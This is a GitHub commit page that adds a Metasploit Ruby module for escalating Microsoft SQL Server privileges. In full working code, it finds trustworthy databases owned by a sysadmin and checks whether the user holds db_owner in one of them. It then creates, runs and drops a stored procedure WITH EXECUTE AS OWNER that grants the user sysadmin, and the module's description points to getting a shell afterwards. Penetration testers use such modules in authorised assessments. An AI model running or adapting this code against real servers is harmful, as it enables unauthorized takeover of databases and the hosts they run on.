Skip to content

Commit 3305b1e

Browse files
committed
Land rapid7#3984, @nullbind's MSSQL privilege escalation module
2 parents ccf677a + 10b160b commit 3305b1e

File tree

1 file changed

+185
-0
lines changed

1 file changed

+185
-0
lines changed
Lines changed: 185 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,185 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/exploit/mssql_commands'
8+
9+
class Metasploit3 < Msf::Auxiliary
10+
11+
include Msf::Exploit::Remote::MSSQL
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Microsoft SQL Server - Escalate Db_Owner',
16+
'Description' => %q{
17+
This module can be used to escalate privileges to sysadmin if the user has
18+
the db_owner role in a trustworthy database owned by a sysadmin user. Once
19+
the user has the sysadmin role the msssql_payload module can be used to obtain
20+
a shell on the system.
21+
},
22+
'Author' => [ 'nullbind <scott.sutherland[at]netspi.com>'],
23+
'License' => MSF_LICENSE,
24+
'References' => [[ 'URL','http://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx']]
25+
))
26+
end
27+
28+
def run
29+
# Check connection and issue initial query
30+
print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")
31+
if mssql_login_datastore
32+
print_good('Connected.')
33+
else
34+
print_error('Login was unsuccessful. Check your credentials.')
35+
disconnect
36+
return
37+
end
38+
39+
# Query for sysadmin status
40+
print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...")
41+
user_status = check_sysadmin
42+
43+
# Check if user has sysadmin role
44+
if user_status == 1
45+
print_good("#{datastore['USERNAME']} has the sysadmin role, no escalation required.")
46+
disconnect
47+
return
48+
else
49+
print_status("You're NOT a sysadmin, let's try to change that")
50+
end
51+
52+
# Check for trusted databases owned by sysadmins
53+
print_status("Checking for trusted databases owned by sysadmins...")
54+
trust_db_list = check_trust_dbs
55+
if trust_db_list.nil? || trust_db_list.length == 0
56+
print_error('No databases owned by sysadmin were found flagged as trustworthy.')
57+
disconnect
58+
return
59+
else
60+
# Display list of accessible databases to user
61+
print_good("#{trust_db_list.length} affected database(s) were found:")
62+
trust_db_list.each do |db|
63+
print_status(" - #{db[0]}")
64+
end
65+
end
66+
67+
# Check if the user has the db_owner role in any of the databases
68+
print_status('Checking if the user has the db_owner role in any of them...')
69+
dbowner_status = check_db_owner(trust_db_list)
70+
if dbowner_status.nil?
71+
print_error("Fail buckets, the user doesn't have db_owner role anywhere.")
72+
disconnect
73+
return
74+
end
75+
76+
# Attempt to escalate to sysadmin
77+
print_status("Attempting to escalate in #{dbowner_status}!")
78+
escalate_status = escalate_privs(dbowner_status)
79+
if escalate_status
80+
# Check if escalation was successful
81+
user_status = check_sysadmin
82+
if user_status == 1
83+
print_good("Congrats, #{datastore['USERNAME']} is now a sysadmin!.")
84+
else
85+
print_error("Fail buckets, something went wrong.")
86+
end
87+
else
88+
print_error("Error while trying to escalate status")
89+
end
90+
91+
disconnect
92+
return
93+
end
94+
95+
# Checks if user is already sysadmin
96+
def check_sysadmin
97+
# Setup query to check for sysadmin
98+
sql = "select is_srvrolemember('sysadmin') as IsSysAdmin"
99+
100+
# Run query
101+
result = mssql_query(sql)
102+
103+
# Parse query results
104+
parse_results = result[:rows]
105+
status = parse_results[0][0]
106+
107+
# Return status
108+
return status
109+
end
110+
111+
# Gets trusted databases owned by sysadmins
112+
def check_trust_dbs
113+
# Setup query
114+
sql = "SELECT d.name AS DATABASENAME
115+
FROM sys.server_principals r
116+
INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id
117+
INNER JOIN sys.server_principals p ON
118+
p.principal_id = m.member_principal_id
119+
inner join sys.databases d on suser_sname(d.owner_sid) = p.name
120+
WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin'"
121+
122+
result = mssql_query(sql)
123+
124+
# Return on success
125+
return result[:rows]
126+
end
127+
128+
# Checks if user has the db_owner role
129+
def check_db_owner(trust_db_list)
130+
# Check if the user has the db_owner role is any databases
131+
trust_db_list.each do |db|
132+
# Setup query
133+
sql = "use #{db[0]};select db_name() as db,rp.name as database_role, mp.name as database_user
134+
from [#{db[0]}].sys.database_role_members drm
135+
join [#{db[0]}].sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
136+
join [#{db[0]}].sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
137+
where rp.name = 'db_owner' and mp.name = SYSTEM_USER"
138+
139+
# Run query
140+
result = mssql_query(sql)
141+
142+
# Parse query results
143+
parse_results = result[:rows]
144+
if parse_results && parse_results.any?
145+
print_good("- db_owner on #{db[0]} found!")
146+
return db[0]
147+
end
148+
end
149+
150+
nil
151+
end
152+
153+
def escalate_privs(dbowner_db)
154+
print_status("#{dbowner_db}")
155+
# Create the evil stored procedure WITH EXECUTE AS OWNER
156+
evil_sql_create = "use #{dbowner_db};
157+
DECLARE @myevil as varchar(max)
158+
set @myevil = '
159+
CREATE PROCEDURE sp_elevate_me
160+
WITH EXECUTE AS OWNER
161+
as
162+
begin
163+
EXEC sp_addsrvrolemember ''#{datastore['USERNAME']}'',''sysadmin''
164+
end';
165+
exec(@myevil);
166+
select 1;"
167+
mssql_query(evil_sql_create)
168+
169+
# Run the evil stored procedure
170+
evilsql_run = "use #{dbowner_db};
171+
DECLARE @myevil2 as varchar(max)
172+
set @myevil2 = 'EXEC sp_elevate_me'
173+
exec(@myevil2);"
174+
mssql_query(evilsql_run)
175+
176+
# Remove evil procedure
177+
evilsql_remove = "use #{dbowner_db};
178+
DECLARE @myevil3 as varchar(max)
179+
set @myevil3 = 'DROP PROCEDURE sp_elevate_me'
180+
exec(@myevil3);"
181+
mssql_query(evilsql_remove)
182+
183+
true
184+
end
185+
end

0 commit comments

Comments
 (0)